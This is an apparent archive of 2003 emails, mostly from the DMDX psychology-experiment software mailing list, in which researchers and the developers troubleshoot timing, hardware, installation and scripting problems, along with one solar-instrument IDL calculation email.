* 13.33 = 13997 ms d 180 = 2400 ms sum = 16397 ms The DMDX should stop after displaying it, and again the next item should be trigger after 11 scanner triggers (17050 ms). Why is DMDX giving me a time of roughly 14900 ms? **** Could all these problems be due to a bug in the DMDX version 2.6.04? (The machine that I am using has only this version installed, and I am not allowed to update it). **** Thank you again for your attention and patience. Paula ***************************************** Paula Tavares Cognition and Brain Sciences Unit 15 Chaucer Road Cambridge CB2 2EF Telephone: 01223 355 294 EXT 196 *****************************************",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Mar 2003 06:52:40 -0700",[DMDX] Re: Time issues when displaying bmp and avi,"At 11:26 AM 3/13/2003 +0000, you wrote: >Because the command line of rtf file *does not* have the option >activated: >"" 0> "" >So each time a film finishes the DMDX should stop there, waiting for the >next scanner trigger (or keyboard input). Ah, good point. >Even with an error of +/- 500 ms in the display of the film (what is a lot >already, film duration is 14000 ms) the next item can only be activated >by the next scanner trigger (which happens at 17050 ms). > >Any Item: Delay + film + waiting next trigger >Time: 2400 ms + 14000ms (+/- 500 ms) + waiting next trigger > >With an error of -500 ms in the display of the film. > >Time: 15900 ms (the DmDX stops here, waiting for the next scanner trigger >at 17050 ms, the previous one was at 15550 ms) > >With an error of +500 ms in the display of the film. > >Time: 16900 ms (and again the DmDX stops here, waiting for the next >scanner trigger at 17050 ms) > >Why is DMDX giving me a time of 16800(+/-)100 ms? Probably because that's the time between pulses from the scanner. The only thing DMDX could be doing is taking too long to display the item and thus missing a pulse and it's not doing that. The only way it could be going too fast is if there is an early trigger. It's certainly not getting continuous triggers because we'd see them in the zil file and all we see there are the occasional -Bit0 as the trigger is released. >Thank you for your suggestion regarding the films, but question 2 refers >to the time problem that is happening with the pictures. Any idea about >what might be happening here? The code line was > >""+2 *""F""/;"" > >1050 * 13.33 = 13997 ms >d 180 = 2400 ms >sum = 16397 ms > >The DMDX should stop after displaying it, and again the next item should >be trigger after 11 scanner triggers (17050 ms). > >Why is DMDX giving me a time of roughly 14900 ms? Unless this has been done before I would try a simple item file along the lines of: 0 ""Waiting for the scanner.""; +1 * ""1""/; +2 * ""2""/; +3 * ""3""/; +4 * ""4""/; +5 * ""5""/; That way you can make sure the scanner is doing what you're thinking. I guess it's possible that your interface card is whacky, if you're using one of the Keithly things running in some kind of emulation mode the sky's the limit in my past experience with them. It's possible that using and thus using a * with digital video is the cause of your problems. >**** >Could all these problems be due to a bug in the DMDX version 2.6.04? (The >machine that I am using has only this version installed, and I am not >allowed to update it). >**** It'd be the first we've heard about it and given 's constant use over in the scanner here and abroad I'd be impressed if the error was in DMDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else.",0,0 laurie cestnick ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Mar 2003 15:17:46 -0800",[DMDX] Question re. Ternus Effect,"Hello. Has anyone ever programmed the TERNUS effect OR a VISUAL MOTION PERCEPTION task via DMDX? Could you possibly share code with me to help out with the development of such a task? I am a complete (and utter) novice with DMDX ..soon to be user and programmer ..seeking HELP. I would like to create a visual motion perception test (called the TERNUS) that involves moving three squares back and forth on a screen with variable interstimulus intervals between the presentations. Below is what needs to be done, can anyone share any code that they may have to get me going in the right direction? ..EVEN BETTER ..has anyone actually programmed the TERNUS before? ..here is the info. for it: The Ternus display consists of three bright (white) squares on a dark (black) bacground. The three squares are presented for 55 ms (frame 1) and then represented 'x' ms later ...over one equidistant square to the right (frame 2). There are 20 trials at each ISI (a trial consists of eight successive fram 1-2 presentations). The order of ISIs between frame 1 and frame 2 is randomized. ...the number of different ISIs that we will use will be around 7 or so. ANY HELP APPRECIATED. ..probably a pretty basic question, but as a complete newbie it's foreign to me now. THANK YOU. Laurie __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 __________________________________________ Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail ",0,1 Colin Schoknecht ,DMDX@psy1.psych.arizona.edu,"Fri, 14 Mar 2003 10:30:00 +1100",[DMDX] Notebooks for DMDX,"DMDXers, We are about to buy several notebooks which will be used for running DMDX. We have experienced difficulties in the past with Toshiba Satellite notebooks running Windows 2000. Can anyone recommend a reasonably-priced current brand and model that has been tested and found to work well? Also, can anyone give me an opinion on the suitability of the notebook's TFT display screen for applications such as masked priming and video. For example, are there still issues about decay rate, etc which make using an external monitor preferable? Thanks, Colin ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Mar 2003 16:56:09 -0700",[DMDX] RE: Notebooks for DMDX,"I have a Dell Inspiron 4150 (only a few months old but already obsolete -- I think the equivalent would be the Inspiron 5100) with Windows XP and I get robust masked repetition priming effects with it (45 ms effect with 50 ms primes). I can't speak to whether a CRT monitor is still preferable or not, though. > > DMDXers, > > We are about to buy several notebooks which will be used for running > DMDX. We have experienced difficulties in the past with > Toshiba Satellite > notebooks running Windows 2000. > > Can anyone recommend a reasonably-priced current brand and > model that has > been tested and found to work well? > > Also, can anyone give me an opinion on the suitability of the > notebook's > TFT display screen for applications such as masked priming > and video. For > example, are there still issues about decay rate, etc which > make using an > external monitor preferable? > > Thanks, > Colin > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Mar 2003 17:45:55 -0700",[DMDX] Re: Notebooks for DMDX,"At 10:30 AM 3/14/2003 +1100, you wrote: >DMDXers, > >We are about to buy several notebooks which will be used for running >DMDX. We have experienced difficulties in the past with Toshiba Satellite >notebooks running Windows 2000. > >Can anyone recommend a reasonably-priced current brand and model that has >been tested and found to work well? Dell Inspirons of all types are good bets. >Also, can anyone give me an opinion on the suitability of the notebook's >TFT display screen for applications such as masked priming and video. For >example, are there still issues about decay rate, etc which make using an >external monitor preferable? Depends on the TFT, some are down to 60 Hz refresh rates, others are still at 30 Hz, you have to check the specifications of every TFT. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Mar 2003 17:51:15 -0700",[DMDX] complete newbie questions," Just a note to the lurkers on the list, I'm not answering complete newbie questions so someone else will have to get things like Laurie's Ternus Efect question. I'm happy to answer technical questions that no one but me could answer but straight forward stuff is the responsibility of list members. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else. ",0,0 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Mar 2003 12:04:03 +0100",[DMDX] installation problem + keyboard problem,"Hello everyone I have been trying to install the latest version on DMDX today on a windows 98 machine. The installation seems to run ok, but whenever I try to open TimeDX or DmDX I get the following windows messagec:\\Windows\\Application data\\microsoft\\installer\\{c7d19bdf-b1b2-4f0c-899b-6cfb78c48141}\\_66a8199.exe is not a valid Win32 application. I have searched the list but it seems I am the first one to get this Alternatively I have tried to use a previous version of DmDX which runs into keyboard detection problems that are not solverd by the strategies mentionned in previous messages (e.g. declaring ""keyboard"" as ""clavier"") Your help is appreciated ! bye xavier F.-Xavier ALARIO Laboratoire de Psychologie Cognitive CNRS & Université de Provence 3, place Victor Hugo - Case 66 13003 Marseille, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/wlpc ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 14 Mar 2003 13:20:58 +0100",[DMDX] Direct Draw error,"I am getting a frequent but intermittent crash of DMDX from an ""Unknown DirectDraw Error"" with the message: DDS2 memory to qptr Blt failed! Unknown DirectDraw Error (80004001 [16385]) As you can see from the DMDX diagnostics file (below) I am using the current version of DMDX and also DirectX version 9.0 Does anyone have any clues? Thanks, Derek #### extract of DMDX script which offendeth #### 2000 / / / / ; 1000 ""beep.wav"" / ; 1000 ""COVERT_intro.wav"" /; 0 ""press mouse to begin""; # CRASH OCCURS HERE # ^244 / ""."" , * ""O"" / ""+"" / ""."" ; #### end of script extract #### #### diagnostic file #### DMDX Vers. 3.0.0.13 03/14/2003 12:19:17 on machine Joni DMDX Vers. 3.0.0.13 Item File Parsed file is Getting file -- Wait No scramble Scrambled file is EXPERIMENT READY 4 video memory buffers at 1024x768 16 bpp 2000 / / / / ; Preparation A 0.95ms, B 39.43ms 1000 ""beep.wav"" / ; DQ adjusted by 1 ticks to allow for sound Preparation A 27.01ms, B 0.54ms 1000 ""COVERT_intro.wav"" /; DQ adjusted by 1 ticks to allow for sound Preparation A 1132.20ms, B 0.58ms 0 ""press mouse to begin""; DDS2 memory to qptr Blt failed! Unknown DirectDraw Error (80004001 [16385]) JOB ABORTED #### end of diagnostic file #### -- Derek N. Eder Göteborg University Institute of Clinical Neuroscience, Section of Clinical Neurophysiology Blå Stråket 7, vån 3 SU/Sahlgrenska University Hospital SE 413 45 Göteborg, Sweden email: derek.eder@neuro.gu.se tlf: +46 (031) 342 4414 fax: +46 (031) 82 12 68 web page: www.neuro.gu.se/sad",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Mar 2003 09:17:44 -0700",[DMDX] Re: installation problem + keyboard problem," Try running the executables directly, browse to Program Files/DMDX and double click the TimeDX.EXE and DMDX.EXE to run them, perhaps the automatic autowonder Microsoft Installer isn't all they think it is. At 12:04 PM 3/14/2003 +0100, you wrote: >Hello everyone > >I have been trying to install the latest version on DMDX today on a >windows 98 machine. The installation seems to run ok, but whenever I try >to open TimeDX or DmDX I get the following windows >messagec:\\Windows\\Application >data\\microsoft\\installer\\{c7d19bdf-b1b2-4f0c-899b-6cfb78c48141}\\_66a8199.exe >is not a valid Win32 application. >I have searched the list but it seems I am the first one to get this > >Alternatively I have tried to use a previous version of DmDX which runs >into keyboard detection problems that are not solverd by the strategies >mentionned in previous messages (e.g. declaring ""keyboard"" as ""clavier"") >Your help is appreciated ! /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There will always be survivors. - Robert Heinlein ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Mar 2003 09:24:36 -0700",[DMDX] Re: Direct Draw error,"Hmm, could be DirectX 9 but seeing as you probably can't get rid of it you'll have to try some newer video drivers. If you're using the most recent ones then you can try some different color depths, either 8 bit (not recommended but you may have no choice) or 24 or 32 bit. If you have another video card perhaps you can try that. OTOH perhaps this is another manifestation of whatever instability it is that VC 6 has introduced into DMDX and if nothing else alters the behavior you'll have to wait till I can figure out what's wrong -- I suspect I have located the basic region of the failure, it appears to be the RTF parser. At 01:20 PM 3/14/2003 +0100, you wrote: >I am getting a frequent but intermittent crash of DMDX from an ""Unknown >DirectDraw Error"" with the message: DDS2 memory to qptr Blt failed! >Unknown DirectDraw Error (80004001 [16385]) > >As you can see from the DMDX diagnostics file (below) I am using the >current version of DMDX and also DirectX version 9.0 > >Does anyone have any clues? > >Thanks, > >Derek > > >#### extract of DMDX script which offendeth #### > > > Fri Jan 03 14:24:28 2003 > >2000 / / / / ; >1000 ""beep.wav"" / ; >1000 ""COVERT_intro.wav"" /; >0 ""press mouse to begin""; > ># CRASH OCCURS HERE # > >^244 / 0.5> ""."" , * > ""O"" / > ""+"" / ""."" ; > >#### end of script extract #### > > >#### diagnostic file #### >DMDX Vers. 3.0.0.13 03/14/2003 12:19:17 on machine Joni >DMDX Vers. 3.0.0.13 >Item File >Parsed file is >Getting file -- Wait >No scramble >Scrambled file is >EXPERIMENT READY >4 video memory buffers at 1024x768 16 bpp > >2000 / / / / ; >Preparation A 0.95ms, B 39.43ms > >1000 ""beep.wav"" / ; >DQ adjusted by 1 ticks to allow for sound >Preparation A 27.01ms, B 0.54ms > >1000 ""COVERT_intro.wav"" /; >DQ adjusted by 1 ticks to allow for sound >Preparation A 1132.20ms, B 0.58ms > >0 ""press mouse to begin""; >DDS2 memory to qptr Blt failed! >Unknown DirectDraw Error (80004001 [16385]) >JOB ABORTED > >#### end of diagnostic file #### /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There will always be survivors. - Robert Heinlein",0,0 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Mar 2003 18:31:53 +0100",[DMDX] RE : Re: installation problem + keyboard problem,"Well that worked ! and now dmdx runs smoothly I can even open though the desktop shortcuts, provided the programs have been opened from the Program Files/DMDX folder at least once thanks! xavier > Try running the executables directly, browse to Program >Files/DMDX and >double click the TimeDX.EXE and DMDX.EXE to run them, perhaps >the automatic >autowonder Microsoft Installer isn't all they think it is. > >At 12:04 PM 3/14/2003 +0100, you wrote: >>Hello everyone >> >>I have been trying to install the latest version on DMDX today on a >>windows 98 machine. The installation seems to run ok, but whenever I >>try to open TimeDX or DmDX I get the following windows >>messagec:\\Windows\\Application >>data\\microsoft\\installer\\{c7d19bdf-b1b2-4f0c-899b-6cfb78c48141 >}\\_66a819 >>9.exe >>is not a valid Win32 application. >>I have searched the list but it seems I am the first one to get this >> >>Alternatively I have tried to use a previous version of DmDX >which runs >>into keyboard detection problems that are not solverd by the >strategies >>mentionned in previous messages (e.g. declaring ""keyboard"" as >>""clavier"") Your help is appreciated ! > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There will always be survivors. > - Robert Heinlein > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ",0,1 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Sat, 15 Mar 2003 17:49:41 +0100",[DMDX] PIO12 problems with XP,"I am having crashing problems related to the PIO with a new DMDX system: DMDX 3.0.1.2 Windows XP pro Measurement Computing PCI-DIO24 When I run the following code fragment (below), Bill Gates complains and want me to send him an error report: AppName: DMDX.exe AppVer: 3.0.1.2 ModName: dmdx.exe ModVer: 3.0.1.2 Offset: 00027add #### item file fragment #### =1 / ""2.wav"" / * ""_"" / ; It is the that is causing the problem - removing it causes the file to run until DMDX complains that there is no input device corresponding to the . Did TimeDX 'initialize' the PIO correctly I wonder? The TimeDX PIO Test does not automatically 'find' the PIO12 and the 'PIO address (hex or registry key)' window remains empty. I did figure out that the PIO12 is living at address dff4h and the board passes the TimeDX tests. Typing things like ""InstaCal board0 PCI-PIO12"" cause TimeDX to complain of ""invalid port addresses"" So, what to do? I have a study on Monday and am panicking! Thanks, Derek -- Derek N. Eder Göteborg University Institute of Clinical Neuroscience, Section of Clinical Neurophysiology Blå Stråket 7, vån 3 SU/Sahlgrenska University Hospital SE 413 45 Göteborg, Sweden email: derek.eder@neuro.gu.se tlf: +46 (031) 342 4414 fax: +46 (031) 82 12 68 web page: www.neuro.gu.se/sad",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Sat, 15 Mar 2003 10:24:35 -0700",[DMDX] RE: Question re. Ternus Effect,"Laurie, I have mocked up a quick version of the TERNUS effect for you, which should give you some idea how to proceed. However, rather than send attachments to everyone on the list, I will send them to you directly. Anyone who is interested can contact me. Basically, all you do is use a graphics program to create two .jpg files with the white squares on a black background, positioned correctly. Then you display them with something like the script below. The graphics files are ""ternus1.jpg"" and ""ternus2.jpg"". Their duration is specified by ""f3"" on the parameter line. The ISI is specified by the number following ""%"" (in multiples of the screen refresh interval). Thus the first item has an ISI of 5 ticks, the second 10, etc. The ""s4"" specifies that the order of the items should be scrambled, using blocks of 4 (or whatever you want). Hope this helps. k.i.f. f3 s4 $0 ""instructions (press spacebar)"";$ 0 g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/%5/g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/%5/g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/%5/g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/%5/g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/%5/g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/%5/g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/%5/g ""ternus1.jpg""/%5/ g ""ternus2.jpg""/; 0 g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/%10/g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/%10/g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/%10/g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/%10/g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/%10/g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/%10/g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/%10/g ""ternus1.jpg""/%10/ g ""ternus2.jpg""/; 0 g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/%15/g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/%15/g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/%15/g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/%15/g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/%15/g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/%15/g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/%15/g ""ternus1.jpg""/%15/ g ""ternus2.jpg""/; 0 g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/%20/g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/%20/g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/%20/g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/%20/g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/%20/g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/%20/g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/%20/g ""ternus1.jpg""/%20/ g ""ternus2.jpg""/; $0 ""End"";$ -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of laurie cestnick Sent: Thursday, March 13, 2003 4:18 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Question re. Ternus Effect Hello. Has anyone ever programmed the TERNUS effect OR a VISUAL MOTION PERCEPTION task via DMDX? Could you possibly share code with me to help out with the development of such a task? I am a complete (and utter) novice with DMDX ..soon to be user and programmer ..seeking HELP. I would like to create a visual motion perception test (called the TERNUS) that involves moving three squares back and forth on a screen with variable interstimulus intervals between the presentations. Below is what needs to be done, can anyone share any code that they may have to get me going in the right direction? ..EVEN BETTER ..has anyone actually programmed the TERNUS before? ..here is the info. for it: The Ternus display consists of three bright (white) squares on a dark (black) bacground. The three squares are presented for 55 ms (frame 1) and then represented 'x' ms later ...over one equidistant square to the right (frame 2). There are 20 trials at each ISI (a trial consists of eight successive fram 1-2 presentations). The order of ISIs between frame 1 and frame 2 is randomized. ...the number of different ISIs that we will use will be around 7 or so. ANY HELP APPRECIATED. .probably a pretty basic question, but as a complete newbie it's foreign to me now. THANK YOU. Laurie __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 __________________________________________ Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 15 Mar 2003 21:12:41 -0700",[DMDX] Re: PIO12 problems with XP,"At 05:49 PM 3/15/2003 +0100, you wrote: >I am having crashing problems related to the PIO with a new DMDX >system: DMDX 3.0.1.2 > Windows XP pro > Measurement Computing PCI-DIO24 > >So, what to do? I have a study on Monday and am panicking! You need to install and setup the Instacal software. Then TimeDX will see the Instacal drivers and you can pick Instacal Board 1 or whatever. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else. ",0,0 laurie cestnick ,DMDX@psy1.psych.arizona.edu,"Sun, 16 Mar 2003 12:36:41 -0800",[DMDX] Re: RE: Question re. Ternus Effect,"You are an awesome man ;o) Thank you for helping with the Ternus! (beeg smile) Laurie __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 __________________________________________ Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail ",0,1 Richard Schwartz ,Hugh Hudson ,"Tue, 18 Mar 2003 14:06:08 -0500",Re: individual detectors,"Hugh It's easy to get the average livetime weighted grid transmission. First get the roll period from an observing summary object: IDL> temp=obs->getdata(class='hsi_qlook_roll_period') IDL> roll=avg(temp.roll_period) IDL> print,roll 4.08838 Next, set the time_range in an imaging object to some integral number of roll periods for the appropriate obs_time_interval: IDL> im->set,time_range=[0,roll*10] Extract the calib_eventlist and compute: IDL> c=im->getdata(class='hsi_calib_eventlist') HSI_RD_RASPMT: 56 packets of PMTRAS data were found. PMTRAS_ANALYSIS: Blip intensity cutoff set to 94 PMTRAS_ANALYSIS: Compensating for P-angle = -12.083 degrees PMTRAS_ANALYSIS: 1667 points. Period= 4.088239 s 6 stars MAXrmsscatter= 0.032 degrees. IDL> IDL> for i=0,8 do print,avg( (*c[i]).gridtran) 0.174087 0.177655 0.122889 0.187994 0.165717 0.201592 0.223310 0.217403 0.218618 IDL> for i=0,8 do print,avg( (*c[i]).gridtran *(*c[i]).livetime) 0.170131 0.172686 0.119922 0.183611 0.161839 0.196923 0.218630 0.212284 0.213727 So you see there is a good explanatio for the smaller amplitude of 3. This is the first Van Beek grid and fov is a problem for finer grids of this design. Richard ----- Original Message ----- From: ""Hugh Hudson"" To: Cc: ; Sent: Tuesday, March 18, 2003 12:27 PM Subject: Re: individual detectors > Hmmm, you're right about the slow modulation, I was not thinking about > that. We seem not to be limited very strongly by photon count in A0 > (surprise, surprise) so maybe the best bet is to stick with whichever > of G6, G8, or G9 have small slow modulation. > > More anon > > Hugh",0,0 SPANISH SWEEPSTAKE LOTTERY ,Cheryl ,,SPANISH E-MAIL RESULT,"SPANISH SWEEPSTAKE LOTTERY INTERNATIONAL PROMOTION/PRIZE AWARD DEPT. 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Here's a sample of the script: 0 ""Please respond in the same way"", ""as the practice run."", ""The most important thing is to"", ""respond correctly (right mouse click)"", ""to the grey coloured numbers."", ""Press the SPACEBAR to start""; +1 “+”/! * “b41""/ “+”/!; +1 “+”/! * “b42""/ “+”/!; +9 “+”/! * “b43""/ “+”/!; +8 “+”/! * “b34""/ “+”/!; +1 “+”/! * “b15""/ “+”/!; +1 “+”/! * “b56""/ “+”/!; +1 “+”/! * “b27""/ “+”/!; +1 “+”/! * “b38""/ “+”/!; +1 “+”/! * “b19""/ “+”/!; The output gives me display errors as follows: ! Display error at msec 25682, tick 1846 in item 1, frame ""+"" ! moved into video memory 1 tick late! (previous frame's duration will have been longer) These errors do not occur for every line but quite frequently across the task. Any ideas on how to remedy this? Many thanks, Paul. ------------------------------------------ Paul Dockree Department of Psychology Áras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083",0,0 JOHN J CURTIN ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Mar 2003 13:45:56 -0600",[DMDX] Re: ,"I believe you will need to increase the delay parameter from 0 to some value that is adequate to load your bmp files. Right now you are asking DMDX to attempt to start each item as quickly as possible with a minimum delay between items which leads it to be late in starting some items. J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ----- Original Message ----- From: Paul Dockree Date: Tuesday, March 18, 2003 1:06 pm Subject: [DMDX] > > Hi, > > I've set up an experiment such that a fixation point will remain > on screen > while numbers are sequentially presented above the fixation. The > continuous fixation is giving me timing problems. > > Here's a sample of the script: > > > > ""mouse""> 255255255> > 1> ""+button 0""> > > 0 ""Please respond in the same way"", ""as the > practice > run."", ""The most important thing is to"", > ""respond > correctly (right mouse click)"", ""to the grey coloured > numbers."", > ""Press the SPACEBAR to start""; > > +1 ?+?/! * ?b41""/ 500> 0> ?+?/!; > +1 ?+?/! * ?b42""/ 500> 0> ?+?/!; > +9 ?+?/! * ?b43""/ 500> 0> ?+?/!; > +8 ?+?/! * ?b34""/ 500> 0> ?+?/!; > +1 ?+?/! * ?b15""/ > > ?+?/!; > +1 ?+?/! * ?b56""/ 500> 0> ?+?/!; > +1 ?+?/! * ?b27""/ 500> 0> ?+?/!; > +1 ?+?/! * ?b38""/ 500> 0> ?+?/!; > +1 ?+?/! * ?b19""/ > > ?+?/!; > > The output gives me display errors as follows: ! Display error > at msec > 25682, tick 1846 in item 1, frame ""+"" ! moved into video memory 1 > tick > late! (previous frame's duration will have been longer) > > These errors do not occur for every line but quite frequently > across the > task. Any ideas on how to remedy this? > > Many thanks, Paul. > > ------------------------------------------ > Paul Dockree > > Department of Psychology > Áras an Phiarsaigh > University of Dublin > Trinity College > Dublin 2 > Ireland > > Tel: +353 (0)1 608 3083 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Mar 2003 13:15:50 -0700",[DMDX] RE: ,"Paul, How important is the ? I would try running the file without that, just to check that this is causing the problem. This parameter specifies the time interval between a request (pressing the spacebar) and the onset of the first frame. Since you are preserving the fixation point from the preceding item, this hardly seems necessary. Also, it would be useful if you included a subject header next time, so that people can tell whether this posting is likely to be of interest. --k.i.f. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Paul Dockree Sent: Tuesday, March 18, 2003 12:06 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Hi, I've set up an experiment such that a fixation point will remain on screen while numbers are sequentially presented above the fixation. The continuous fixation is giving me timing problems. Here's a sample of the script: 0 ""Please respond in the same way"", ""as the practice run."", ""The most important thing is to"", ""respond correctly (right mouse click)"", ""to the grey coloured numbers."", ""Press the SPACEBAR to start""; +1 “+”/! * “b41""/ “+”/!; +1 “+”/! * “b42""/ “+”/!; +9 “+”/! * “b43""/ “+”/!; +8 “+”/! * “b34""/ “+”/!; +1 “+”/! * “b15""/ “+”/!; +1 “+”/! * “b56""/ “+”/!; +1 “+”/! * “b27""/ “+”/!; +1 “+”/! * “b38""/ “+”/!; +1 “+”/! * “b19""/ “+”/!; The output gives me display errors as follows: ! Display error at msec 25682, tick 1846 in item 1, frame ""+"" ! moved into video memory 1 tick late! (previous frame's duration will have been longer) These errors do not occur for every line but quite frequently across the task. Any ideas on how to remedy this? Many thanks, Paul. ------------------------------------------ Paul Dockree Department of Psychology Áras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 Sean Draine ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Mar 2003 15:00:05 -0800",[DMDX] RE: ,"I am writing to let you know that your message has been received. Sean Draine, who can address your question, is out of town until next Monday. He will get back to you by early next week. We hope that does not pose too much of an inconvenience for you. Thanks, Karen -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Paul Dockree Sent: Tuesday, March 18, 2003 11:06 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Hi, I've set up an experiment such that a fixation point will remain on screen while numbers are sequentially presented above the fixation. The continuous fixation is giving me timing problems. Here's a sample of the script: 0 ""Please respond in the same way"", ""as the practice run."", ""The most important thing is to"", ""respond correctly (right mouse click)"", ""to the grey coloured numbers."", ""Press the SPACEBAR to start""; +1 “+”/! * “b41""/ + “+”/!; +1 “+”/! * “b42""/ + “+”/!; +9 “+”/! * “b43""/ + “+”/!; +8 “+”/! * “b34""/ + “+”/!; +1 “+”/! * “b15""/ “+”/!; +1 “+”/! * “b56""/ + “+”/!; +1 “+”/! * “b27""/ + “+”/!; +1 “+”/! * “b38""/ + “+”/!; +1 “+”/! * “b19""/ “+”/!; The output gives me display errors as follows: ! Display error at msec 25682, tick 1846 in item 1, frame ""+"" ! moved into video memory 1 tick late! (previous frame's duration will have been longer) These errors do not occur for every line but quite frequently across the task. Any ideas on how to remedy this? Many thanks, Paul. ------------------------------------------ Paul Dockree Department of Psychology Áras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083 ==================================================================== Send mail to 